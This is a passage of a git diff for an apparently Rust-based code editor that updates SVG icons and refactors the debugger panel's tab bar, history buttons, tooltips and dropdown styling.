-<path d="M9.875 1.25C10.0686 1.25 10.2549 1.3249 10.3945 1.45898L13.5195 4.45898C13.6668 4.60041 13.75 4.79582 13.75 5V12.7998C13.75 13.327 13.5316 13.8263 13.1533 14.1895C12.7762 14.5515 12.2709 14.75 11.75 14.75H4.25C3.72915 14.75 3.22383 14.5515 2.84668 14.1895C2.46849 13.8264 2.25 13.3271 2.25 12.7998V3.2002C2.25 2.67294 2.46848 2.17365 2.84668 1.81055C3.22388 1.44843 3.72922 1.25 4.25 1.25H9.875ZM5.73242 9.9707C5.31832 9.97084 4.98242 10.3066 4.98242 10.7207C4.98242 11.1348 5.31832 11.4706 5.73242 11.4707H10.2666C10.6808 11.4707 11.0166 11.1349 11.0166 10.7207C11.0166 10.3065 10.6808 9.9707 10.2666 9.9707H5.73242ZM5.73242 7.75C5.31832 7.75013 4.98242 8.08587 4.98242 8.5C4.98242 8.91413 5.31832 9.24987 5.73242 9.25H8.45312C8.86734 9.25 9.20312 8.91421 9.20312 8.5C9.20312 8.08579 8.86734 7.75 8.45312 7.75H5.73242Z" fill="black"/>
+<path d="M9.875 1.25C10.0686 1.25 10.2549 1.3249 10.3945 1.45898L13.5195 4.45898C13.6668 4.60041 13.75 4.79582 13.75 5V12.7998C13.75 13.327 13.5316 13.8263 13.1533 14.1895C12.7762 14.5515 12.2709 14.75 11.75 14.75H4.25C3.72915 14.75 3.22383 14.5515 2.84668 14.1895C2.46849 13.8264 2.25 13.3271 2.25 12.7998V3.2002C2.25 2.67294 2.46848 2.17365 2.84668 1.81055C3.22388 1.44843 3.72922 1.25 4.25 1.25H9.875ZM5.73242 9.9707C5.31832 9.97084 4.98242 10.3066 4.98242 10.7207C4.98242 11.1348 5.31832 11.4706 5.73242 11.4707H10.2666C10.6808 11.4707 11.0166 11.1349 11.0166 10.7207C11.0166 10.3065 10.6808 9.9707 10.2666 9.9707H5.73242ZM5.73242 7.75C5.31832 7.75013 4.98242 8.08587 4.98242 8.5C4.98242 8.91413 5.31832 9.24987 5.73242 9.25H8.45312C8.86734 9.25 9.20312 8.91421 9.20312 8.5C9.20312 8.08579 8.86734 7.75 8.45312 7.75H5.73242Z" fill="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/file_text_outlined.svg b/assets/icons/file_text_outlined.svg
index d2e8897251e31b..f602bd0492eac8 100644
--- a/assets/icons/file_text_outlined.svg
+++ b/assets/icons/file_text_outlined.svg
@@ -1,6 +1,6 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M9.87504 2H4.25001C3.91848 2 3.60055 2.12643 3.36612 2.35148C3.1317 2.57652 3 2.88174 3 3.2V12.8C3 13.1182 3.1317 13.4234 3.36612 13.6485C3.60055 13.8735 3.91848 14 4.25001 14H11.75C12.0816 14 12.3995 13.8735 12.6339 13.6485C12.8683 13.4234 13 13.1182 13 12.8V5L9.87504 2Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9 2V4.66666C9 5.02029 9.14048 5.35942 9.39053 5.60948C9.64059 5.85952 9.97972 6 10.3333 6H13" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8.4534 8.5H5.73267" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M10.2672 10.7207H5.73267" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9 2V4.24394C9 4.5622 9.12643 4.86743 9.35147 5.09247C9.57652 5.31751 9.88174 5.44394 10.2 5.44394H12.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M10.4283 2.79015C9.95564 2.28602 9.29544 2 8.60442 2H4.625C4.32663 2 4.04048 2.12643 3.8295 2.35147C3.61853 2.57652 3.5 2.88174 3.5 3.2V12.8C3.5 13.1183 3.61853 13.4235 3.8295 13.6485C4.04048 13.8736 4.32663 14 4.625 14H11.375C11.6734 14 11.9595 13.8736 12.1705 13.6485C12.3815 13.4235 12.5 13.1183 12.5 12.8V5.98862C12.5 5.35347 12.2582 4.74213 11.8238 4.27877L10.4283 2.79015Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M8.4534 8.5H5.73267" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M10.2672 10.7207H5.73267" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/filter.svg b/assets/icons/filter.svg
index 4aa14e93c003d0..20a6a367dc4963 100644
--- a/assets/icons/filter.svg
+++ b/assets/icons/filter.svg
@@ -1,3 +1,8 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.9416 2.99643C13.08 2.79636 12.9568 2.5 12.7352 2.5H3.26475C3.04317 2.5 2.91999 2.79636 3.0584 2.99643L6.04033 7.30646C6.24713 7.60535 6.35981 7.97674 6.35981 8.3596C6.35981 9.18422 6.35981 11.4639 6.35981 12.891C6.35981 13.2285 6.59643 13.5 6.88831 13.5H9.11168C9.40357 13.5 9.64019 13.2285 9.64019 12.891C9.64019 11.4639 9.64019 9.18422 9.64019 8.3596C9.64019 7.97674 9.75289 7.60535 9.95969 7.30646L12.9416 2.99643Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M2 5H4" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M8 5L14 5" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M12 11L14 11" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M2 11H8" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<circle cx="6" cy="5" r="2" fill="black" fill-opacity="0.1" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<circle cx="10" cy="11" r="2" fill="black" fill-opacity="0.1" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
 </svg>
diff --git a/assets/icons/list_filter.svg b/assets/icons/list_filter.svg
deleted file mode 100644
index fc3885437da0b5..00000000000000
--- a/assets/icons/list_filter.svg
+++ /dev/null
@@ -1,5 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M2 4H14" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M4.66666 8H11.3333" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6.66666 12H9.33332" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/on_call.svg b/assets/icons/on_call.svg
new file mode 100644
index 00000000000000..66e5d71304fc9f
--- /dev/null
+++ b/assets/icons/on_call.svg
@@ -0,0 +1,5 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M9.23593 2.55334C10.3635 2.55334 11.4448 3.00126 12.2421 3.79854C13.0394 4.59583 13.4873 5.67718 13.4873 6.80472" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.23593 4.44281C9.86234 4.44281 10.4631 4.69165 10.906 5.13459C11.349 5.57752 11.5978 6.17828 11.5978 6.80468" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M8.97096 10.421C9.08042 10.4713 9.20373 10.4828 9.32059 10.4536C9.43745 10.4244 9.54088 10.3563 9.61385 10.2604L9.802 10.014C9.90073 9.88235 10.0288 9.7755 10.1759 9.7019C10.3231 9.62831 10.4854 9.59 10.65 9.59H12.24C12.5211 9.59 12.7907 9.70167 12.9895 9.90046C13.1883 10.0993 13.3 10.3689 13.3 10.65V12.24C13.3 12.5211 13.1883 12.7907 12.9895 12.9895C12.7907 13.1883 12.5211 13.3 12.24 13.3C9.70983 13.3 7.2833 12.2949 5.49421 10.5058C3.70511 8.7167 2.70001 6.29017 2.70001 3.76001C2.70001 3.47888 2.81169 3.20927 3.01048 3.01048C3.20927 2.81169 3.47888 2.70001 3.76001 2.70001H5.35001C5.63113 2.70001 5.90075 2.81169 6.09954 3.01048C6.29833 3.20927 6.41 3.47888 6.41 3.76001V5.35001C6.41 5.51457 6.37169 5.67687 6.2981 5.82405C6.2245 5.97124 6.11765 6.09927 5.986 6.198L5.73797 6.38403C5.64067 6.45833 5.57209 6.56401 5.54387 6.68314C5.51566 6.80226 5.52956 6.92748 5.58321 7.03752C6.30754 8.50873 7.49885 9.69854 8.97096 10.421Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/icons/sliders.svg b/assets/icons/sliders.svg
deleted file mode 100644
index 20a6a367dc4963..00000000000000
--- a/assets/icons/sliders.svg
+++ /dev/null
@@ -1,8 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M2 5H4" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<path d="M8 5L14 5" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<path d="M12 11L14 11" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<path d="M2 11H8" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<circle cx="6" cy="5" r="2" fill="black" fill-opacity="0.1" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-<circle cx="10" cy="11" r="2" fill="black" fill-opacity="0.1" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
-</svg>
diff --git a/crates/collab_ui/src/collab_panel.rs b/crates/collab_ui/src/collab_panel.rs
index 6a0a32c3933d92..f9baa1d475a8e1 100644
--- a/crates/collab_ui/src/collab_panel.rs
+++ b/crates/collab_ui/src/collab_panel.rs
@@ -2964,8 +2964,9 @@ impl CollabPanel {
             Section::Channels => {
                 Some(
                     h_flex()
+                        .gap_px()
                         .child(
-                            IconButton::new("filter-occupied-channels", IconName::ListFilter)
+                            IconButton::new("filter-occupied-channels", IconName::OnCall)
                                 .icon_size(IconSize::Small)
                                 .toggle_state(self.filter_occupied_channels)
                                 .on_click(cx.listener(|this, _, _window, cx| {
diff --git a/crates/debugger_ui/src/debugger_panel.rs b/crates/debugger_ui/src/debugger_panel.rs
index c034363bcd9e92..aa1bd4455c672a 100644
--- a/crates/debugger_ui/src/debugger_panel.rs
+++ b/crates/debugger_ui/src/debugger_panel.rs
@@ -33,7 +33,8 @@ use std::sync::{Arc, LazyLock};
 use task::{DebugScenario, SharedTaskContext};
 use tree_sitter::{Query, StreamingIterator as _};
 use ui::{
-    ContextMenu, Divider, PopoverMenu, PopoverMenuHandle, SplitButton, Tab, Tooltip, prelude::*,
+    ButtonLike, ContextMenu, Divider, ElevationIndex, PopoverMenu, PopoverMenuHandle, SplitButton,
+    Tab, TintColor, Tooltip, prelude::*,
 };
 use util::redact::redact_command;
 use util::rel_path::RelPath;
@@ -731,11 +732,11 @@ impl DebugPanel {
                                                     IconName::DebugContinue,
                                                 )
                                                 .icon_size(IconSize::Small)
+                                                .disabled(thread_status != ThreadStatus::Stopped)
                                                 .on_click(window.listener_for(
                                                     running_state,
                                                     |this, _, _window, cx| this.continue_thread(cx),
                                                 ))
-                                                .disabled(thread_status != ThreadStatus::Stopped)
                                                 .tooltip({
                                                     let focus_handle = focus_handle.clone();
                                                     move |_window, cx| {
@@ -953,28 +954,26 @@ impl DebugPanel {
                                     .map(|session| session.read(cx).running_state())
                                     .cloned(),
                                 |this, running_state| {
-                                    this.children({
-                                        let threads =
-                                            running_state.update(cx, |running_state, cx| {
-                                                let session = running_state.session();
-                                                session.read(cx).is_started().then(|| {
-                                                    session.update(cx, |session, cx| {
-                                                        session.threads(cx)
-                                                    })
-                                                })
-                                            });
-
-                                        threads.and_then(|threads| {
-                                            self.render_thread_dropdown(
-                                                &running_state,
-                                                threads,
-                                                window,
-                                                cx,
-                                            )
+                                    let threads = running_state.update(cx, |running_state, cx| {
+                                        let session = running_state.session();
+                                        session.read(cx).is_started().then(|| {
+                                            session.update(cx, |session, cx| session.threads(cx))
+                                        })
+                                    });
+
+                                    let thread_dropdown = threads.and_then(|threads| {
+                                        self.render_thread_dropdown(
+                                            &running_state,
+                                            threads,
+                                            window,
+                                            cx,
+                                        )
+                                    });
+
+                                    this.when_some(thread_dropdown, |this, dropdown| {
+                                        this.child(dropdown).when(!is_side, |this| {
+                                            this.gap_0p5().child(Divider::vertical())
                                         })
-                                    })
-                                    .when(!is_side, |this| {
-                                        this.gap_0p5().child(Divider::vertical())
                                     })
                                 },
                             ),
@@ -1351,9 +1350,14 @@ impl DebugPanel {
         running_state: &Entity<RunningState>,
         thread_status: ThreadStatus,
         window: &mut Window,
-    ) -> IconButton {
-        IconButton::new("debug-back-in-history", IconName::HistoryRerun)
-            .icon_size(IconSize::Small)
+    ) -> ButtonLike {
+        ButtonLike::new_rounded_left("debug-back-in-history")
+            .layer(ElevationIndex::ModalSurface)
+            .child(Icon::new(IconName::HistoryRerun).size(IconSize::Small))
+            .disabled(
+                thread_status == ThreadStatus::Running || thread_status == ThreadStatus::Stepping,
+            )
+            .tooltip(Tooltip::text("Step Back in Session History"))
             .on_click(window.listener_for(running_state, |this, _, _window, cx| {
                 this.session().update(cx, |session, cx| {
                     let ix = session
@@ -1363,9 +1367,6 @@ impl DebugPanel {
                     session.select_historic_snapshot(Some(ix.saturating_sub(1)), cx);
                 })
             }))
-            .disabled(
-                thread_status == ThreadStatus::Running || thread_status == ThreadStatus::Stepping,
-            )
     }
 
     fn render_history_toggle_button(
@@ -1373,20 +1374,19 @@ impl DebugPanel {
         thread_status: ThreadStatus,
         running_state: &Entity<RunningState>,
     ) -> impl IntoElement {
+        let chevron_button_size = rems_from_px(20.);
         PopoverMenu::new("debug-back-in-history-menu")
             .trigger(
-                ui::ButtonLike::new_rounded_right("debug-back-in-history-menu-trigger")
-                    .layer(ui::ElevationIndex::ModalSurface)
-                    .size(ui::ButtonSize::None)
-                    .child(
-                        div()
-                            .px_1()
-                            .child(Icon::new(IconName::ChevronDown).size(IconSize::XSmall)),
-                    )
+                ButtonLike::new_rounded_right("debug-back-in-history-menu-trigger")
+                    .layer(ElevationIndex::ModalSurface)
+                    .selected_style(ButtonStyle::Tinted(TintColor::Accent))
                     .disabled(
                         thread_status == ThreadStatus::Running
                             || thread_status == ThreadStatus::Stepping,
-                    ),
+                    )
+                    .width(chevron_button_size)
+                    .height(chevron_button_size.into())
+                    .child(Icon::new(IconName::ChevronDown).size(IconSize::XSmall)),
             )
             .menu({
                 let running_state = running_state.clone();
@@ -1417,7 +1417,10 @@ impl DebugPanel {
                                     handler(None, running_state.clone(), cx);
                                 }
                             });
-                            context_menu = context_menu.separator();
+
+                            if !history.is_empty() {
+                                context_menu = context_menu.separator();
+                            }
 
                             for (ix, _) in history.iter().enumerate().rev() {
                                 context_menu =
@@ -1935,9 +1938,9 @@ impl Render for DebugPanel {
                                         h_flex()
                                             .size_full()
                                             .child(breakpoint_list)
-                                            .child(Divider::vertical())
+                                            .child(Divider::vertical().h_full())
                                             .child(welcome_experience)
-                                            .child(Divider::vertical()),
+                                            .child(Divider::vertical().h_full()),
                                     )
                                 } else {
                                     this.child(
diff --git a/crates/debugger_ui/src/dropdown_menus.rs b/crates/debugger_ui/src/dropdown_menus.rs
index 0e07cb8841b08c..1fb7f901540438 100644
--- a/crates/debugger_ui/src/dropdown_menus.rs
+++ b/crates/debugger_ui/src/dropdown_menus.rs
@@ -3,7 +3,7 @@ use std::rc::Rc;
 use collections::HashMap;
 use gpui::{Anchor, Entity, WeakEntity};
 use project::debugger::session::{ThreadId, ThreadStatus};
-use ui::{CommonAnimationExt, ContextMenu, DropdownMenu, DropdownStyle, Indicator, prelude::*};
+use ui::{CommonAnimationExt, ContextMenu, DropdownMenu, Indicator, Tooltip, prelude::*};
 use util::{maybe, truncate_and_trailoff};
 
 use crate::{
@@ -132,7 +132,7 @@ impl DebugPanel {
         let session_state_indicator = if is_terminated {
             Indicator::dot().color(Color::Error).into_any_element()
         } else if !is_started {
-            Icon::new(IconName::ArrowCircle)
+            Icon::new(IconName::LoadCircle)
                 .size(IconSize::Small)
                 .color(Color::Muted)
                 .with_rotate_animation(2)
@@ -147,7 +147,6 @@ impl DebugPanel {
         let trigger = h_flex()
             .gap_2()
             .child(session_state_indicator)
-            .justify_between()
             .child(
                 DebugPanel::dropdown_label(trigger_label)
                     .when(is_terminated, |this| this.strikethrough()),
@@ -212,8 +211,8 @@ impl DebugPanel {
             }),
         )
         .attach(Anchor::BottomLeft)
-        .style(DropdownStyle::Ghost)
-        .handle(self.session_picker_menu_handle.clone());
+        .handle(self.session_picker_menu_handle.clone())
+        .trigger_tooltip(Tooltip::text("Select a Debug Session"));
 
         Some(menu)
     }
@@ -325,7 +324,6 @@ impl DebugPanel {
                 )
                 .attach(Anchor::BottomLeft)
                 .disabled(session_terminated)
-                .style(DropdownStyle::Ghost)
                 .handle(self.thread_picker_menu_handle.clone()),
             )
         } else {
diff --git a/crates/debugger_ui/src/persistence.rs b/crates/debugger_ui/src/persistence.rs
index 7282e5160d709a..6e68dfe5ba8647 100644
--- a/crates/debugger_ui/src/persistence.rs
+++ b/crates/debugger_ui/src/persistence.rs
@@ -70,23 +70,23 @@ impl DebuggerPaneItem {
     pub(crate) fn tab_tooltip(self) -> SharedString {
         let tooltip = match self {
             DebuggerPaneItem::Console => {
-                "Displays program output and allows manual input of debugger commands."
+                "Displays program output and allows manual input of debugger commands"
             }
             DebuggerPaneItem::Variables => {
-                "Shows current values of local and global variables in the current stack frame."
+                "Shows current values of local and global variables in the current stack frame"
             }
-            DebuggerPaneItem::BreakpointList => "Lists all active breakpoints set in the code.",
+            DebuggerPaneItem::BreakpointList => "Lists all active breakpoints set in the code",
             DebuggerPaneItem::Frames => {
-                "Displays the call stack, letting you navigate between function calls."
+                "Displays the call stack, letting you navigate between function calls"
             }
-            DebuggerPaneItem::Modules => "Shows all modules or libraries loaded by the program.",
+            DebuggerPaneItem::Modules => "Shows all modules or libraries loaded by the program",
             DebuggerPaneItem::LoadedSources => {
-                "Lists all source files currently loaded and used by the debugger."
+                "Lists all source files currently loaded and used by the debugger"
             }
             DebuggerPaneItem::Terminal => {
-                "Provides an interactive terminal session within the debugging environment."
+                "Provides an interactive terminal session within the debugging environment"
             }
-            DebuggerPaneItem::MemoryView => "Allows inspection of memory contents.",
+            DebuggerPaneItem::MemoryView => "Allows inspection of memory contents",
         };
         SharedString::new_static(tooltip)
     }
diff --git a/crates/debugger_ui/src/session/running.rs b/crates/debugger_ui/src/session/running.rs
index a964eb389f610e..bce007f8b0ade6 100644
--- a/crates/debugger_ui/src/session/running.rs
+++ b/crates/debugger_ui/src/session/running.rs
@@ -382,20 +382,232 @@ impl Render for SubView {
                 "subview-container-{}",
                 self.kind.to_shared_string()
             ))
-            .on_hover(cx.listener(|this, hovered, _, cx| {
-                this.hovered = *hovered;
-                cx.notify();
-            }))
             .size_full()
-            // Add border unconditionally to prevent layout shifts on focus changes.
             .border_1()
             .when(self.item_focus_handle.contains_focused(window, cx), |el| {
                 el.border_color(cx.theme().colors().pane_focused_border)
             })
             .child(self.inner.clone())
+            .on_hover(cx.listener(|this, hovered, _, cx| {
+                this.hovered = *hovered;
+                cx.notify();
+            }))
     }
 }
 
+struct DraggedTabPreview {
+    label: SharedString,
+}
+
+impl Render for DraggedTabPreview {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let ui_font = theme_settings::ThemeSettings::get_global(cx)
+            .ui_font
+            .clone();
+        let colors = cx.theme().colors();
+
+        h_flex()
+            .font(ui_font)
+            .h_6()
+            .px_1()
+            .rounded_sm()
+            .shadow_md()
+            .border_1()
+            .border_color(colors.border)
+            .bg(colors.elevated_surface_background)
+            .child(Label::new(self.label.clone()).size(LabelSize::Small))
+    }
+}
+
+fn render_debugger_tab(
+    ix: usize,
+    item: &dyn ItemHandle,
+    selected: bool,
+    deemphasized: bool,
+    window: &mut Window,
+    cx: &mut Context<Pane>,
+) -> impl IntoElement + use<> {
+    let item_ = item.boxed_clone();
+    let colors = cx.theme().colors();
+
+    div()
+        .border_l_2()
+        .border_color(gpui::transparent_black())
+        .drag_over::<DraggedTab>(|wrapper, _, _, cx| wrapper.border_color(cx.theme().colors().text))
+        .child(
+            div()
+                .cursor_pointer()
+                .id(format!("debugger_tab_{}", item.item_id().as_u64()))
+                .p_1()
+                .rounded_sm()
+                .map(|s| {
+                    if selected {
+                        s.bg(colors.text_accent.opacity(0.08))
+                            .hover(|s| s.bg(colors.text_accent.opacity(0.25)))
+                            .text_color(colors.text_accent)
+                    } else {
+                        s.hover(|s| s.bg(colors.element_hover))
+                    }
+                })
+                .when(deemphasized, |s| s.opacity(0.8))
+                .child(item.tab_content(
+                    TabContentParams {
+                        selected,
+                        deemphasized,
+                        ..Default::default()
+                    },
+                    window,
+                    cx,
+                ))
+                .when_some(item.tab_tooltip_text(cx), |this, tooltip| {
+                    this.tooltip(Tooltip::text(tooltip))
+                })
+                .on_click(cx.listener(move |this, _, window, cx| {
+                    let index = this.index_for_item(&*item_);
+                    if let Some(index) = index {
+                        this.activate_item(index, true, true, window, cx);
+                    }
+                }))
+                .on_drop(
+                    cx.listener(move |this, dragged_tab: &DraggedTab, window, cx| {
+                        if dragged_tab.item.downcast::<SubView>().is_none() {
+                            return;
+                        }
+                        this.drag_split_direction = None;
+                        this.handle_tab_drop(dragged_tab, ix, false, window, cx)
+                    }),
+                )
+                .on_drag(
+                    DraggedTab {
+                        item: item.boxed_clone(),
+                        pane: cx.entity(),
+                        detail: 0,
+                        is_active: selected,
+                        ix,
+                    },
+                    |tab, _, _, cx| {
+                        let label = tab.item.tab_content_text(0, cx);
+                        cx.new(|_| DraggedTabPreview { label })
+                    },
+                ),
+        )
+}
+
+fn render_debugger_tab_bar(
+    pane: &mut Pane,
+    focus_handle: &FocusHandle,
+    window: &mut Window,
+    cx: &mut Context<Pane>,
+) -> gpui::AnyElement {
+    let active_pane_item = pane.active_item();
+    let pane_group_id: SharedString = format!("pane-zoom-button-hover-{}", cx.entity_id()).into();
+    let as_subview = active_pane_item
+        .as_ref()
+        .and_then(|item| item.downcast::<SubView>());
+
+    let is_hovered = as_subview
+        .as_ref()
+        .is_some_and(|item| item.read(cx).hovered);
+    let deemphasized = !pane.has_focus(window, cx);
+
+    let tabs = pane
+        .items()
+        .enumerate()
+        .map(|(ix, item)| {
+            let selected = active_pane_item
+                .as_ref()
+                .is_some_and(|active| active.item_id() == item.item_id());
+            render_debugger_tab(ix, item.as_ref(), selected, deemphasized, window, cx)
+        })
+        .collect::<Vec<_>>();
+
+    h_flex()
+        .track_focus(focus_handle)
+        .group(pane_group_id.clone())
+        .on_action(|_: &menu::Cancel, window, cx| {
+            if cx.stop_active_drag(window) {
+            } else {
+                cx.propagate();
+            }
+        })
+        .pl_1p5()
+        .pr_1()
+        .justify_between()
+        .border_b_1()
+        .border_color(cx.theme().colors().border)
+        .bg(cx.theme().colors().tab_bar_background)
+        .child(
+            h_flex()
+                .w_full()
+                .gap_1()
+                .h(Tab::container_height(cx))
+                .children(tabs)
+                .on_drop(
+                    cx.listener(move |this, dragged_tab: &DraggedTab, window, cx| {
+                        if dragged_tab.item.downcast::<SubView>().is_none() {
+                            return;
+                        }
+                        this.drag_split_direction = None;
+                        this.handle_tab_drop(dragged_tab, this.items_len(), false, window, cx)
+                    }),
+                )
+                .child(
+                    div()
+                        .flex_1()
+                        .h_6()
+                        .border_l_2()
+                        .border_color(gpui::transparent_black())
+                        .drag_over::<DraggedTab>(|spacer, _, _, cx| {
+                            spacer.border_color(cx.theme().colors().text)
+                        }),
+                ),
+        )
+        .child({
+            let zoomed = pane.is_zoomed();
+
+            h_flex()
+                .visible_on_hover(pane_group_id)
+                .when(is_hovered, |this| this.visible())
+                .when_some(as_subview.as_ref(), |this, subview| {
+                    subview.update(cx, |view, cx| {
+                        let Some(additional_actions) = view.actions.as_mut() else {
+                            return this;
+                        };
+                        this.child(additional_actions(window, cx))
+                    })
+                })
+                .child(
+                    IconButton::new(
+                        format!("debug-toggle-zoom-{}", cx.entity_id()),
+                        if zoomed {
+                            IconName::Minimize
+                        } else {
+                            IconName::Maximize
+                        },
+                    )
+                    .icon_size(IconSize::Small)
+                    .on_click(cx.listener(move |pane, _, _, cx| {
+                        let is_zoomed = pane.is_zoomed();
+                        pane.set_zoomed(!is_zoomed, cx);
+                        cx.notify();
+                    }))
+                    .tooltip({
+                        let focus_handle = focus_handle.clone();
+                        move |_window, cx| {
+                            let zoomed_text = if zoomed { "Minimize" } else { "Expand" };
+                            Tooltip::for_action_in(
+                                zoomed_text,
+                                &ToggleExpandItem,
+                                &focus_handle,
+                                cx,
+                            )
+                        }
+                    }),
+                )
+        })
+        .into_any_element()
+}
+
 pub(crate) fn new_debugger_pane(
     workspace: WeakEntity<Workspace>,
     project: Entity<Project>,
@@ -456,169 +668,7 @@ pub(crate) fn new_debugger_pane(
         pane.set_should_display_tab_bar(|_, _| true);
         pane.set_render_tab_bar_buttons(cx, |_, _, _| (None, None));
         pane.set_render_tab_bar(cx, {
-            move |pane, window, cx| {
-                let active_pane_item = pane.active_item();
-                let pane_group_id: SharedString =
-                    format!("pane-zoom-button-hover-{}", cx.entity_id()).into();
-                let as_subview = active_pane_item
-                    .as_ref()
-                    .and_then(|item| item.downcast::<SubView>());
-                let is_hovered = as_subview
-                    .as_ref()
-                    .is_some_and(|item| item.read(cx).hovered);
-
-                h_flex()
-                    .track_focus(&focus_handle)
-                    .group(pane_group_id.clone())
-                    .pl_1p5()
-                    .pr_1()
-                    .justify_between()
-                    .border_b_1()
-                    .border_color(cx.theme().colors().border)
-                    .bg(cx.theme().colors().tab_bar_background)
-                    .on_action(|_: &menu::Cancel, window, cx| {
-                        if cx.stop_active_drag(window) {
-                        } else {
-                            cx.propagate();
-                        }
-                    })
-                    .child(
-                        h_flex()
-                            .w_full()
-                            .gap_1()
-                            .h(Tab::container_height(cx))
-                            .drag_over::<DraggedTab>(|bar, _, _, cx| {
-                                bar.bg(cx.theme().colors().drop_target_background)
-                            })
-                            .on_drop(cx.listener(
-                                move |this, dragged_tab: &DraggedTab, window, cx| {
-                                    if dragged_tab.item.downcast::<SubView>().is_none() {
-                                        return;
-                                    }
-                                    this.drag_split_direction = None;
-                                    this.handle_tab_drop(
-                                        dragged_tab,
-                                        this.items_len(),
-                                        false,
-                                        window,
-                                        cx,
-                                    )
-                                },
-                            ))
-                            .children(pane.items().enumerate().map(|(ix, item)| {
-                                let selected = active_pane_item
-                                    .as_ref()
-                                    .is_some_and(|active| active.item_id() == item.item_id());
-                                let deemphasized = !pane.has_focus(window, cx);
-                                let item_ = item.boxed_clone();
-                                div()
-                                    .id(format!("debugger_tab_{}", item.item_id().as_u64()))
-                                    .p_1()
-                                    .rounded_md()
-                                    .cursor_pointer()
-                                    .when_some(item.tab_tooltip_text(cx), |this, tooltip| {
-                                        this.tooltip(Tooltip::text(tooltip))
-                                    })
-                                    .map(|this| {
-                                        let theme = cx.theme();
-                                        if selected {
-                                            let color = theme.colors().tab_active_background;
-                                            let color = if deemphasized {
-                                                color.opacity(0.5)
-                                            } else {
-                                                color
-                                            };
-                                            this.bg(color)
-                                        } else {
-                                            let hover_color = theme.colors().element_hover;
-                                            this.hover(|style| style.bg(hover_color))
-                                        }
-                                    })
-                                    .on_click(cx.listener(move |this, _, window, cx| {
-                                        let index = this.index_for_item(&*item_);
-                                        if let Some(index) = index {
-                                            this.activate_item(index, true, true, window, cx);
-                                        }
-                                    }))
-                                    .child(item.tab_content(
-                                        TabContentParams {
-                                            selected,
-                                            deemphasized,
-                                            ..Default::default()
-                                        },
-                                        window,
-                                        cx,
-                                    ))
-                                    .on_drop(cx.listener(
-                                        move |this, dragged_tab: &DraggedTab, window, cx| {
-                                            if dragged_tab.item.downcast::<SubView>().is_none() {
-                                                return;
-                                            }
-                                            this.drag_split_direction = None;
-                                            this.handle_tab_drop(dragged_tab, ix, false, window, cx)
-                                        },
-                                    ))
-                                    .on_drag(
-                                        DraggedTab {
-                                            item: item.boxed_clone(),
-                                            pane: cx.entity(),
-                                            detail: 0,
-                                            is_active: selected,
-                                            ix,
-                                        },
-                                        |tab, _, _, cx| cx.new(|_| tab.clone()),
-                                    )
-                            })),
-                    )
-                    .child({
-                        let zoomed = pane.is_zoomed();
-
-                        h_flex()
-                            .visible_on_hover(pane_group_id)
-                            .when(is_hovered, |this| this.visible())
-                            .when_some(as_subview.as_ref(), |this, subview| {
-                                subview.update(cx, |view, cx| {
-                                    let Some(additional_actions) = view.actions.as_mut() else {
-                                        return this;
-                                    };
-                                    this.child(additional_actions(window, cx))
-                                })
-                            })
-                            .child(
-                                IconButton::new(
-                                    SharedString::from(format!(
-                                        "debug-toggle-zoom-{}",
-                                        cx.entity_id()
-                                    )),
-                                    if zoomed {
-                                        IconName::Minimize
-                                    } else {
-                                        IconName::Maximize
-                                    },
-                                )
-                                .icon_size(IconSize::Small)
-                                .on_click(cx.listener(move |pane, _, _, cx| {
-                                    let is_zoomed = pane.is_zoomed();
-                                    pane.set_zoomed(!is_zoomed, cx);
-                                    cx.notify();
-                                }))
-                                .tooltip({
-                                    let focus_handle = focus_handle.clone();
-                                    move |_window, cx| {
-                                        let zoomed_text =
-                                            if zoomed { "Minimize" } else { "Expand" };
-                                        Tooltip::for_action_in(
-                                            zoomed_text,
